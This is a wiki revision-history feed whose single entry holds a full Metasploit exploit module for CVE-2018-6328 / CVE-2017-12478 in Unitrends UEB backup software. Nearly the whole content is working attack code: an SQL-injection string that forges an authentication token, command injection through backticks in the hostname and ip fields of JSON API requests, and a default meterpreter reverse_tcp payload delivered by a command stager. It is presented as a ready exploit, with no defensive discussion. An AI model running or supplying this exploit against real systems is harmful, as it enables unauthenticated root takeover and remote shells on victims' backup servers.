<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-6328_Unitrends_UEB_HTTP_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-6328 Unitrends UEB HTTP API 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-6328_Unitrends_UEB_HTTP_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-6328_Unitrends_UEB_HTTP_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T06:33:32Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-6328_Unitrends_UEB_HTTP_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1510&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-6328_Unitrends_UEB_HTTP_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1510&amp;oldid=prev"/>
		<updated>2021-04-11T01:24:34Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::CmdStager&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(update_info(info,&lt;br /&gt;
      'Name'           =&amp;gt; 'Unitrends UEB http api remote code execution',&lt;br /&gt;
      'Description'    =&amp;gt; %q{&lt;br /&gt;
        It was discovered that the api/storage web interface in Unitrends Backup (UB)&lt;br /&gt;
        before 10.0.0 has an issue in which one of its input parameters was not validated.&lt;br /&gt;
        A remote attacker could use this flaw to bypass authentication and execute arbitrary&lt;br /&gt;
        commands with root privilege on the target system.&lt;br /&gt;
        UEB v9 runs the api under root privileges and api/storage is vulnerable.&lt;br /&gt;
        UEB v10 runs the api under limited privileges and api/hosts is vulnerable.&lt;br /&gt;
      },&lt;br /&gt;
      'Author'         =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          'Cale Smith',    # @0xC413&lt;br /&gt;
          'Benny Husted', # @BennyHusted&lt;br /&gt;
          'Jared Arave',   # @iotennui&lt;br /&gt;
          'h00die'&lt;br /&gt;
        ],&lt;br /&gt;
      'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;
      'Platform'       =&amp;gt; 'linux',&lt;br /&gt;
      'Arch' =&amp;gt; [ARCH_X86],&lt;br /&gt;
      'CmdStagerFlavor' =&amp;gt; [ 'printf' ],&lt;br /&gt;
      'References'     =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],&lt;br /&gt;
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],&lt;br /&gt;
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],&lt;br /&gt;
          ['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],&lt;br /&gt;
          ['EDB', '44297'],&lt;br /&gt;
          ['CVE', '2017-12478'],&lt;br /&gt;
          ['CVE', '2018-6328']&lt;br /&gt;
        ],&lt;br /&gt;
      'Targets'        =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          [ 'UEB 9.*', { 'Privileged' =&amp;gt; true} ],&lt;br /&gt;
          [ 'UEB &amp;lt; 10.1.0', { 'Privileged' =&amp;gt; false} ]&lt;br /&gt;
        ],&lt;br /&gt;
      'DefaultOptions' =&amp;gt; {&lt;br /&gt;
          'PAYLOAD' =&amp;gt; 'linux/x86/meterpreter/reverse_tcp',&lt;br /&gt;
          'SSL' =&amp;gt; true&lt;br /&gt;
        },&lt;br /&gt;
      'DisclosureDate'  =&amp;gt; 'Aug 8 2017',&lt;br /&gt;
      'DefaultTarget'   =&amp;gt; 0))&lt;br /&gt;
    register_options(&lt;br /&gt;
      [&lt;br /&gt;
        Opt::RPORT(443),&lt;br /&gt;
        OptBool.new('SSL', [true, 'Use SSL', true])&lt;br /&gt;
      ])&lt;br /&gt;
    deregister_options('SRVHOST', 'SRVPORT')&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def auth_token&lt;br /&gt;
    session = &amp;quot;v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0&amp;quot;  #SQLi auth bypass&lt;br /&gt;
    Base64.strict_encode64(session) #b64 encode session token&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    res = send_request_cgi!({&lt;br /&gt;
        'method' =&amp;gt; 'GET',&lt;br /&gt;
        'uri'    =&amp;gt; '/api/systems/details',&lt;br /&gt;
        'ctype'  =&amp;gt; 'application/json',&lt;br /&gt;
        'headers' =&amp;gt;&lt;br /&gt;
        {'AuthToken' =&amp;gt; auth_token}&lt;br /&gt;
      })&lt;br /&gt;
    if res &amp;amp;&amp;amp; res.code == 200&lt;br /&gt;
      print_good(&amp;quot;Good news, looks like a vulnerable version of UEB.&amp;quot;)&lt;br /&gt;
      return CheckCode::Appears&lt;br /&gt;
    else&lt;br /&gt;
      print_bad('Host does not appear to be vulnerable.')&lt;br /&gt;
    end&lt;br /&gt;
    return CheckCode::Safe&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  #substitue some charactes&lt;br /&gt;
  def filter_bad_chars(cmd)&lt;br /&gt;
    cmd.gsub!(&amp;quot;\\&amp;quot;, &amp;quot;\\\\\\&amp;quot;)&lt;br /&gt;
    cmd.gsub!(&amp;quot;'&amp;quot;, '\\&amp;quot;')&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def execute_command(cmd, opts = {})&lt;br /&gt;
    if target.name == 'UEB 9.*'&lt;br /&gt;
      #substitue the cmd into the hostname parameter&lt;br /&gt;
      parms = %Q|{&amp;quot;type&amp;quot;:4,&amp;quot;name&amp;quot;:&amp;quot;_Stateless&amp;quot;,&amp;quot;usage&amp;quot;:&amp;quot;stateless&amp;quot;,&amp;quot;build_filesystem&amp;quot;:1,&amp;quot;properties&amp;quot;:{&amp;quot;username&amp;quot;:&amp;quot;aaaa&amp;quot;,&amp;quot;password&amp;quot;:&amp;quot;aaaa&amp;quot;,&amp;quot;hostname&amp;quot;:&amp;quot;`|&lt;br /&gt;
      parms &amp;lt;&amp;lt; filter_bad_chars(cmd)&lt;br /&gt;
      parms &amp;lt;&amp;lt; %Q|` &amp;amp;&amp;quot;,&amp;quot;port&amp;quot;:&amp;quot;2049&amp;quot;,&amp;quot;protocol&amp;quot;:&amp;quot;nfs&amp;quot;,&amp;quot;share_name&amp;quot;:&amp;quot;aaa&amp;quot;}}|&lt;br /&gt;
      uri = '/api/storage'&lt;br /&gt;
    elsif target.name == 'UEB &amp;lt; 10.1.0'&lt;br /&gt;
      parms = %Q|{&amp;quot;name&amp;quot;:&amp;quot;ffff&amp;quot;,&amp;quot;ip&amp;quot;:&amp;quot;10.0.0.200'\\&amp;quot;`0&amp;amp;|&lt;br /&gt;
      parms &amp;lt;&amp;lt; filter_bad_chars(cmd)&lt;br /&gt;
      parms &amp;lt;&amp;lt; %Q|`'&amp;quot;}|&lt;br /&gt;
      uri = '/api/hosts'&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; uri,&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'ctype'  =&amp;gt; 'application/json',&lt;br /&gt;
      'encode_params' =&amp;gt; false,&lt;br /&gt;
      'data'   =&amp;gt; parms,&lt;br /&gt;
      'headers' =&amp;gt;&lt;br /&gt;
        {'AuthToken' =&amp;gt; auth_token}&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    if res &amp;amp;&amp;amp; res.code != 500&lt;br /&gt;
      fail_with(Failure::UnexpectedReply,'Unexpected response')&lt;br /&gt;
    end&lt;br /&gt;
  rescue ::Rex::ConnectionError&lt;br /&gt;
    fail_with(Failure::Unreachable, &amp;quot;#{peer} - Failed to connect to the web server&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    print_status(&amp;quot;#{peer} - Sending requests to UEB...&amp;quot;)&lt;br /&gt;
    execute_cmdstager(:linemax =&amp;gt; 120)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>